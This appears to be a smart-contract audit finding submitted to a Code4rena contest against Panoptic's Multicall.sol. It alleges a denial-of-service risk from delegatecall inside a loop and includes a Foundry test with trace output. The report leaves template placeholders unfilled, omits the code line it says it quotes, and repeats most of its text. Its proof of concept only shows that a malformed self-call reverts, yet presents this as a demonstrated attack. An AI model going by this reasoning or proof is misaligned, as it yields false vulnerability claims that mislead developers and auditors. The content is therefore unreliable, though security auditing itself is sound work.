Detailed description of the impact of this finding.
Contract:
Multicall.sol
Function:
multicall(bytes[])
Lines:
12-36
Issue:
Use of delegatecall Inside Loop in Payable Function
The implementation of delegatecall inside a loop within a payable function is a pattern that can lead to significant security risks, including DOS attacks and unexpected behaviour due to external control over contract logic. This pattern is particularly dangerous because it can be exploited to drain gas.
Proof of Concept
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.
The function multicall(bytes[]) contains the following line of code:
This line indicates that multiple delegate calls are made within a loop. If any of the called contracts are malicious or compromised, they could potentially hijack the control flow, leading to severe consequences.
Test File Name: test/foundry/core/Multicall.t.sol
Prerequisite: Remove the "abstract" prefix from the Multicall.sol file contract name.
And save the below foundry test code in the file path test/foundry/core/Multicall.t.sol of your github codebase.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "ds-test/test.sol";
import {Multicall} from "@contracts/base/Multicall.sol";
contract DOSAttackTest is DSTest {
Multicall multicall;
function setUp() public {
multicall = new Multicall();
}
function testDOSAttack() public {
// Prepare a large array of calldata that would exhaust gas limits
uint256[] memory datae = new uint256[](1);
datae[0] = uint256(115792089237316195423570985008687907853269984665640564039457584007913129639935);
bytes[] memory data = new bytes[](1); // Adjust the size as needed for the test
data[0] = abi.encodePacked(datae);
for (uint256 i = 0; i < data.length; i++) {
// Fill the array with calldata that calls a function in the Multicall contract
data[i] = abi.encodeWithSelector(Multicall.multicall.selector);
}
// Expect the transaction to fail due to out of gas
(bool success, bytes memory returnedData) = address(multicall).call{gas: 1000000}(abi.encodeWithSelector(Multicall.multicall.selector, data));
assertTrue(!success, "DOS attack should fail the transaction");
}
}
forge test -vvvvv --match-contract DOSAttackTest --fork-url "https://eth-mainnet.g.alchemy.com/v2/{TOKEN}"
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for test/foundry/core/Multicall.t.sol:DOSAttackTest
[PASS] testDOSAttack() (gas: 8475)
Traces:
[198337] DOSAttackTest::setUp()
├─ [160808] → new Multicall@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
│ └─ ← [Return] 803 bytes of code
└─ ← [Stop]
[8475] DOSAttackTest::testDOSAttack()
├─ [1272] Multicall::multicall([0xac9650d8])
│ ├─ [140] Multicall::multicall() [delegatecall]
│ │ └─ ← [Revert] EvmError: Revert
│ └─ ← [Revert] EvmError: Revert
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.04s (373.83µs CPU time)
Ran 1 test suite in 2.16s (1.04s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
In this test, we’re trying to simulate a DOS attack by sending a large number of calls through the multicall function with a limited amount of gas. The expectation is that the transaction will fail because it runs out of gas, which would indicate a potential DOS vulnerability in the contract.
Tools Used
Manual review, Slither, and Foundry for POC.
Recommended Mitigation Steps
Avoid delegatecall in Loops: Refactor the function to remove the use of delegatecall within loops.
Lines of code
https://github.com/code-423n4/2024-06-panoptic/blob/153f0d82440b7e63075d55b0659706531431145f/contracts/base/Multicall.sol#L12-L36
Vulnerability details
Impact
Detailed description of the impact of this finding.
Contract: Multicall.sol
Function: multicall(bytes[])
Lines:
12-36
Issue: Use of delegatecall Inside Loop in Payable Function
The implementation of delegatecall inside a loop within a payable function is a pattern that can lead to significant security risks, including DOS attacks and unexpected behaviour due to external control over contract logic. This pattern is particularly dangerous because it can be exploited to drain gas.
Proof of Concept
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.
The function multicall(bytes[]) contains the following line of code:
This line indicates that multiple delegate calls are made within a loop. If any of the called contracts are malicious or compromised, they could potentially hijack the control flow, leading to severe consequences.
In this test, we’re trying to simulate a DOS attack by sending a large number of calls through the multicall function with a limited amount of gas. The expectation is that the transaction will fail because it runs out of gas, which would indicate a potential DOS vulnerability in the contract.
Tools Used
Manual review, Slither, and Foundry for POC.
Recommended Mitigation Steps
Avoid delegatecall in Loops: Refactor the function to remove the use of delegatecall within loops.
Assessed type
DoS